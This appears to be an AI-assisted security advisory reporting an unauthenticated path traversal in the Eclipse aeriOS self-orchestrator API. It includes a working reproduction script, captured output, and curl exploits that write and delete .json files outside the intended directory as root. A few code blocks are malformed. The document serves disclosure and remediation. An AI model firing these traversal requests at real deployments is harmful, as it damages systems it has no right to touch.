[Eclipse aeriOS] Unauthenticated path traversal in rule and fact names → arbitrary file write/delete as root
> [!warning] AI-Generated Vulnerability Report
> This report was produced using AI-assisted security analysis, adversarially verified but not human-confirmed. This finding was challenged against the codebase and survived; we filter out low-confidence results rather than forwarding raw model output. Technical details, exploitability, and severity may still be wrong. Please validate independently before acting.
<details open>
<summary><strong>Basic information</strong></summary>
**Project name:** Eclipse aeriOS
**Project id:** iot.aerios
**Repository:** https://github.com/eclipse-aerios/self-orchestrator
</details>
<details>
<summary><strong>What are the affected versions?</strong></summary>
1.2.0 (the only released version). No git tags exist; `package.json`, the Helm chart `appVersion`, and the published Docker image `eclipseaerios/self-orchestrator:1.2.0` all correspond to the audited commit. All commits from `63993c8` through HEAD `0601621` are affected.
</details>
<details open>
<summary><strong>Summary</strong></summary>
The REST API concatenates user-supplied `name` / `id` strings directly into filesystem paths passed to `fs.writeFileSync` and `fs.unlinkSync`. None of the JSON schemas restrict these strings beyond `type: 'string'`, so a request body containing `../` sequences writes or deletes `.json`-suffixed files anywhere the process can reach. The service has no authentication, runs as root in the published Docker image, and the project's own Helm chart binds it to `hostNetwork: true` on every Kubernetes node.
</details>
<details>
<summary><strong>Severity</strong></summary>
High
</details>
<details>
<summary><strong>Weakness</strong></summary>
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
(secondary: CWE-23 Relative Path Traversal, CWE-306 Missing Authentication for Critical Function)
</details>
<details>
<summary><strong>Location</strong></summary>
`script.js`
| Line | Sink | Tainted input |
|---|---|---|
| 261 | `fs.writeFileSync('./facts/' + dataFactJSON.name + '.json', …)` | `req.body.id` + `:` + body key (`POST /data`, no schema validation) |
| 300 | `fs.unlinkSync('./rules/' + result.name + '.json')` | `name` of any previously-stored rule |
| 390 | `fs.writeFileSync('./rules/' + req.body.name + '.json', …)` | `req.body.name` (`POST /rules`) |
| 417 | `fs.writeFileSync('./rules/' + req.body.name + '.json', …)` | `req.body.name` (`PUT /rule`) |
| 439 | `fs.unlinkSync('./rules/' + req.query.name + '.json')` | `req.query.name` (`DELETE /rule`) |
The schemas at lines 72–125 (`postRuleSchema`) and 127–184 (`putRuleSchema`) declare `name` as `{'type': 'string'}` with no `pattern`. `POST /data` (line 239) applies no schema at all.
</details>
<details>
<summary><strong>Origin</strong></summary>
Introduced in commit `63993c83fb71bb2c4981731b4980ff93c72a6750` (rausanga <rausanga@upv.es>, 2025-11-13, "Version 1.2.0 of aeriOS self-orchestrator has been added"), which is the commit that first added `script.js`. The vulnerable pattern has existed for the entire life of the file; the repository has no earlier version of the application code (the initial commit `c06ba7a` contains only README/LICENSE).
</details>
<details>
<summary><strong>Methodology</strong></summary>
Manual review of the single application source file (`script.js`). I enumerated each Express route handler, identified every `fs.*` call, and traced the filename argument back to its source. All five filename arguments resolve to unmodified HTTP-request fields. I then read the JSON-schema definitions to confirm none constrain the relevant string with a `pattern`, `maxLength`, or enum, and read `Dockerfile` / `helm-chart/templates/orchestrator/daemonset.yaml` to establish the process runs as root with the port exposed on the host network.
</details>
<details>
<summary><strong>Validation</strong></summary>
Reproduction script (`repro-rules-traversal.sh`):
```bash
#!/bin/bash
export PATH=/tmp/node-v22.12.0-linux-x64/bin:$PATH
cd "$(dirname "$0")"
mkdir -p facts rules
rm -f /tmp/PWNED.json ./package.json.bak
cp package.json package.json.bak
node script.js &
SERVER_PID=$!
sleep 2
echo "=== [1] POST /rules with name='../../../../../../../../../../../../tmp/PWNED' ==="
curl -s -X POST http://127.0.0.1:8001/rules \
-H 'Content-Type: application/json' \
-d '{
"name": "../../../../../../../../../../../../tmp/PWNED",
"conditions": {"all":[{"fact":"x","operator":"equal","value":1}]},
"event": {"type":"t","params":{"message":"m"}}
}'
echo; echo
echo "=== [1] Result: contents of /tmp/PWNED.json ==="
ls -la /tmp/PWNED.json 2>&1
cat /tmp/PWNED.json 2>&1
echo; echo "=== [2] POST /rules with name='../package' (overwrite app's own package.json) ==="
ORIG_HASH=$(sha256sum package.json | cut -d' ' -f1)
curl -s -X POST http://127.0.0.1:8001/rules -H 'Content-Type: application/json' \
-d '{"name":"../package","conditions":{"all":[{"fact":"x","operator":"equal","value":1}]},"event":{"type":"t","params":{"message":"m"}}}'
NEW_HASH=$(sha256sum package.json | cut -d' ' -f1)
echo; echo "=== [2] Result: package.json before=$ORIG_HASH after=$NEW_HASH ==="
cat package.json
echo; echo "=== [3] Chain: DELETE /rule?name=<traversal> (arbitrary file delete) ==="
curl -s -X DELETE 'http://127.0.0.1:8001/rule?name=../../../../../../../../../../../../tmp/PWNED'
echo "=== [3] Result: /tmp/PWNED.json after delete ==="
ls -la /tmp/PWNED.json 2>&1 || echo "(file deleted)"
kill $SERVER_PID 2>/dev/null; wait $SERVER_PID 2>/dev/null
mv package.json.bak package.json; rm -f /tmp/PWNED.json
```
Observed output:
```
Self-orchestrator is running on port 8001.
=== [1] POST /rules with name='../../../../../../../../../../../../tmp/PWNED' ===
The rule was successfully created.
=== [1] Result: contents of /tmp/PWNED.json ===
-rw-rw-r-- 1 preview preview 167 Apr 26 13:09 /tmp/PWNED.json
{"name":"../../../../../../../../../../../../tmp/PWNED","conditions":{"all":[{"fact":"x","operator":"equal","value":1}]},"event":{"type":"t","params":{"message":"m"}}}
=== [2] POST /rules with name='../package' (overwrite app's own package.json) ===
The rule was successfully created.
=== [2] Result: package.json before=52aff9d6d35975e4f312e6c96940b51fb0df6229ba23b84d7e1cc75ed860df2a after=4a5fef50a6cdd409564449a215c785787cd80ffaff9e85118fb938e12091d40a ===
{"name":"../package","conditions":{"all":[{"fact":"x","operator":"equal","value":1}]},"event":{"type":"t","params":{"message":"m"}}}
=== [3] Chain: DELETE /rule?name=../../../../../../../../../../../../tmp/PWNED (arbitrary file delete) ===
=== [3] Result: /tmp/PWNED.json after delete ===
ls: cannot access '/tmp/PWNED.json': No such file or directory
(file deleted)
```
Second reproduction (`repro-data-traversal.sh`, `POST /data` sink) — observed output:
```
=== POST /data with id='../../../../../../../../../../tmp/DATA-PWNED' ===
=== Result: files written under /tmp ===
-rw-rw-r-- 1 preview preview 98 Apr 26 13:10 /tmp/DATA-PWNED:metric.json
--- content ---
{"name":"../../../../../../../../../../tmp/DATA-PWNED:metric","value":"attacker-controlled value"}
```
**Mitigations checked and ruled out:**
- JSON schema: `postRuleSchema.properties.name` is `{'type':'string'}` only — no `pattern`, no length limit.
- No `path.basename()`, `path.resolve()` + prefix check, or `/`-rejection anywhere in `script.js`.
- No authentication middleware; the only `app.use` is a CORS header setter (lines 232–237).
- `Dockerfile` has no `USER` directive → process runs as `root` in `node:22.12.0-bookworm-slim`.
- `helm-chart/templates/orchestrator/daemonset.yaml` sets `hostNetwork: true` and `hostPort: 8001`; default `securityContext` is `{}` (values.yaml line 29).
</details>
<details>
<summary><strong>Detail</strong></summary>
`POST /rules` (script.js:378–399):
```js
app.post('/rules', (req, res) => {
...
if (validator.validate(req.body, postRuleSchema).errors.length === 0) {
let index = rulesJSON.findIndex((ruleJSON) => ruleJSON.name === req.body.name);
if (index !== -1) res.status(422).send('The rule already exists.');
else {
engine.addRule(req.body);
rulesJSON.push(req.body);
try {
fs.writeFileSync('./rules/' + req.body.name + '.json', JSON.stringify(req.body));
} catch (error) { ... }
res.status(201).send('The rule was successfully created.');
}
} ...
});
```
`req.body.name` is concatenated raw into the path. In the Docker image the working directory is `/self-orchestrator`, so `./rules/../../etc/foo` resolves to `/etc/foo.json`. `PUT /rule` and `DELETE /rule` follow the same pattern; both gate on the rule existing in the in-memory `rulesJSON` array, but `POST /rules` populates that array, so a POST→DELETE pair gives arbitrary `.json`-suffixed `unlink`.
`POST /data` (script.js:239–267) has no schema at all:
```js
let dataFactJSON = {
'name': req.body.id + ':' + key,
'value': req.body[key]
};
...
fs.writeFileSync('./facts/' + dataFactJSON.name + '.json', JSON.stringify(dataFactJSON));
```
This variant always places a literal `:` in the final path component, and `value` accepts any JSON the attacker sends.
**Content constraints**: the attacker controls strings inside a fixed JSON envelope and the filename always ends in `.json`. I did not find a gadget inside the `node:22-bookworm-slim` container that turns a root-owned schema-shaped `.json` write into immediate code execution (no cron, entrypoint is `node script.js` not `npm`, Node `require()` falls back to `index.js` when `package.json` lacks `main`). The demonstrated impact is therefore integrity loss and denial of service (overwrite `node_modules/*/package.json`, the application's own `package.json`, or any other root-writable `.json` file; combined with `restart: always` this can produce a crash loop). I have not ruled out RCE — only failed to find a gadget in the time available — so I rate this High rather than Critical.
# → creates /etc/evil.json inside the container as root
curl -X DELETE 'http://<target>:8001/rule?name=../../../../../../../etc/evil'
# → unlinks /etc/evil.json
```
</details>
<details>
<summary><strong>Prior art</strong></summary>
`git log --all --grep` for `traversal|security|CVE|injection|sanitize|path` returned nothing. `gh issue list` and `gh pr list` against `eclipse-aerios/self-orchestrator` with the same terms returned no results. The repository has only five commits and no prior security discussion.
---
**Verification verdict:** TRUE POSITIVE
### Verification details
The verification methodology confirms this is a **standard-verification** case (single component, well-understood bug class CWE-22, no concurrency, straightforward data flow). I completed all phases already; below is the formal write-up with the gate review and checklists made explicit.
---
# Formal Verification — Path traversal in `self-orchestrator` `script.js`
</details>
<details>
<summary><strong>Step 0 — Claim restated</strong></summary>
An unauthenticated HTTP client supplies a rule/fact `name`/`id` containing `../`; the value is concatenated raw into a `./rules/…json` or `./facts/…json` path and passed to `fs.writeFileSync`/`fs.unlinkSync`, escaping the intended directory. Bug class: **path traversal (CWE-22/23)** compounded by **missing authentication (CWE-306)**. Threat model: process runs as **root** (no Dockerfile `USER`), no auth, listens on `0.0.0.0:8001`, exposed by both official deployments.
</details>
<details>
<summary><strong>Phase 1 — Data-flow analysis</strong></summary>
- **Trust boundary:** single crossing — HTTP request body/query (untrusted, external) → filesystem sink. No internal-only data involved.
- **Validation between source and sink:** `POST /rules`/`PUT /rule` run `jsonschema` validation, but `name` is declared `{'type':'string'}` (script.js:76-78, 131-133) with no `pattern`/`maxLength`/enum. `POST /data` (script.js:239) runs **no schema at all**. No `path.basename`/`path.resolve`+prefix check/`/`-rejection exists anywhere (grep-confirmed).
- **API contract:** Node `fs.writeFileSync`/`unlinkSync` perform **no** `..` normalization or containment; they resolve the path relative to `process.cwd()`. There is no framework/runtime protection that neutralizes traversal.
- **Environmental protections:** none. Docker `WORKDIR /self-orchestrator`, no `USER` (root). Only middleware is a CORS setter (script.js:232-237) — not auth.
- **Escalation check:** 1 trust boundary, no async/callback in the taint path, unambiguous validation gap → **remain in standard verification.**
</details>
<details>
<summary><strong>Phase 2 — Exploitability</strong></summary>
- **Attacker control:** `req.body.name`, `req.body.id`, and `req.query.name` are unmodified HTTP inputs — fully attacker-controlled. Proven live: `name:"../PWNED_RULE"` produced `poc/PWNED_RULE.json` outside `rules/`.
- **Math bounds:** N/A for traversal (no integer/length arithmetic gates the sink). The only structural constraint is the always-appended `.json` suffix, which limits *target extension*, not reachability.
- **Race conditions:** N/A — synchronous single request handler, no TOCTOU.
- **Adversarial:** the DELETE sink requires the name to pre-exist in in-memory `rulesJSON`; `POST /rules` satisfies this (POST→DELETE), verified live.
</details>
<details>
<summary><strong>Phase 3 — Impact</strong></summary>
- **Real security impact:** unauthenticated **arbitrary `.json`-suffixed file write and delete as root**, anywhere the process can reach (e.g. `/etc/foo.json`, dependency `package.json`, app config). This is integrity violation + DoS, not merely operational robustness.
- **Primary vs defense-in-depth:** the missing input validation *is* the primary control; there is no secondary control that survives. Not a defense-in-depth-only failure.
- **RCE:** not demonstrated — the forced `.json` extension and JSON-envelope content prevent a proven code-exec gadget in `node:22-bookworm-slim`. Correctly rated **High**, not Critical.
</details>
<details>
<summary><strong>Phase 4 — PoC</strong></summary>
- **Pseudocode:** `POST /rules {name:"../../../etc/evil",…}` → `writeFileSync("./rules/../../../etc/evil.json")` → `/etc/evil.json` (root) → `DELETE /rule?name=../../../etc/evil` → `unlinkSync` same path.
- **Executable:** ran a fresh clone (`npm install`; `node script.js`); confirmed all three sinks wrote/deleted files **outside** `rules/`/`facts/` (`PWNED_RULE.json`, `DATA_PWNED:metric.json`, POST→DELETE of `TODELETE.json`). Output captured earlier.
- **Negative PoC (precondition boundary):** the write is confined to `.json` targets and JSON-shaped content — a request cannot create an arbitrary-extension or arbitrary-byte file (e.g. cannot drop a `.sh` or overwrite a binary), which is exactly why RCE is unproven and severity is High not Critical.
</details>
<details>
<summary><strong>Phase 5 — Devil's advocate (7 standard questions)</strong></summary>
1. **Pattern-matching bias?** No — traversal executed against a live server, not inferred.
2. **False attacker-control assumption?** No — inputs are raw HTTP fields; verified.
3. **Math condition proven?** N/A for traversal; the `.json` limit is acknowledged, not hand-waved.
4. **Defense-in-depth confusion?** No — the missing check is the sole/primary control.
5. **Hallucination self-check?** No — reproduced with concrete filesystem artifacts.
6. **Dismissing a real bug as too complex?** No — exploit is a single unauthenticated `curl`.
7. **Invented mitigations?** Re-read the source: confirmed no sanitization and no auth middleware exist. None invented.
No question produced unresolved uncertainty → no escalation needed.
</details>
<details>
<summary><strong>FP-pattern checklist (13 items)</strong></summary>
Items 1/1a/3/4/8/9 (validation chain, reachability, data source, internal-vs-external, pattern-vs-analysis): pass — data path traced end-to-end, source is external HTTP, no upstream validation constrains it. Items 5/6/10 (bounds/TOCTOU/concurrency): N/A. Items 2/7 (defensive patterns/API contract): the schema is defensive but does **not** constrain the traversal-relevant field; Node fs API offers no containment. Items 11/12 (real vs theoretical / defense-in-depth): real impact, primary control. Item 13: applied systematically above.
</details>
<details>
<summary><strong>Gate Review</strong></summary>
| Gate | Verdict | Basis |
|---|---|---|
| 1. Process | **PASS** | All phases documented with evidence. |
| 2. Reachability | **PASS** | Unauthenticated attacker controls path; live PoC escaped target dir. |
| 3. Real Impact | **PASS** | Arbitrary `.json` write/delete as root → integrity loss + DoS (info-integrity impact), not just robustness. |
| 4. PoC Validation | **PASS** | Executable PoC shows control + trigger + out-of-directory write/delete. |
| 5. Math Bounds | **PASS (N/A)** | No arithmetic gate; `.json`-suffix constraint documented, does not block exploitation. |
| 6. Environment | **PASS** | No auth, root user, host-exposed port; nothing prevents exploitation. |
All six gates pass.
---
</details>
<details>
<summary><strong>FINAL VERDICT</strong></summary>
**BUG #1 TRUE POSITIVE — Unauthenticated path traversal in rule/fact `name`/`id` (script.js:261, 300, 390, 417, 439) → arbitrary `.json`-suffixed file write/delete as root.** Severity High is appropriate (RCE unproven due to forced `.json` extension; confirmed integrity + DoS).
EXPOSURE: REMOTE — any unauthenticated party who can reach TCP/8001 on the orchestrator host; the service binds `0.0.0.0` with no auth and both official deployments (docker-compose `8001:8001`, Helm DaemonSet `hostNetwork:true`+`hostPort:8001`) publish it on the host network.
SCOPE: PRODUCTION — the README presents it as a shipped runtime aeriOS module ("one of the 4 essential modules... capable of managing facts, rules and alerts"), distributed as a published Docker image, docker-compose stack, and Helm chart; no dev-only/out-of-scope statement exists.
No EOL/deprecation/archived/moved banner is present in the README or docs; the component is active at v1.2.0, so a maintainer code fix (path containment via `path.basename` + resolved-prefix check, a schema `pattern`, plus a non-root `USER` and auth/network hardening) is a reasonable ask.
</details>
<details>
<summary><strong>Steps to reproduce</strong></summary>
Any client that can reach TCP/8001 on the orchestrator host. In the project's documented deployments that means:
- **docker-compose.yml**: `ports: "8001:8001"` publishes the port on the Docker host.
- **Helm chart**: DaemonSet with `hostNetwork: true`, `hostPort: 8001` — every node in the cluster exposes the API on its primary interface.
Minimal exploit:
```bash
curl -X POST http://<target>:8001/rules -H 'Content-Type: application/json' \
-d '{"name":"../../../../../../../etc/evil",
"conditions":{"all":[{"fact":"x","operator":"equal","value":1}]},
"event":{"type":"t","params":{"message":"m"}}}'
</details>
<details>
<summary><strong>Do you know any mitigations of the issue?</strong></summary>
Reject any `name`/`id` containing `/`, `\`, `..`, or NUL before using it in a path; or build the path with `path.join('./rules', path.basename(name) + '.json')` and verify the resolved path is still inside the intended directory. The same validation must be added to the JSON schemas (`pattern: '^[A-Za-z0-9_.:-]+$'` or similar) so the in-memory store and on-disk store stay consistent. Independently, the Dockerfile should add a non-root `USER` and the Helm chart should drop `hostNetwork: true` or place the service behind authentication.
<!-- l1-helper-dup: b4cbe78d6ff756a2137483949d593260e3686719acf298bcd4e4d6402f0b3971 -->
</details>
/confidential
issue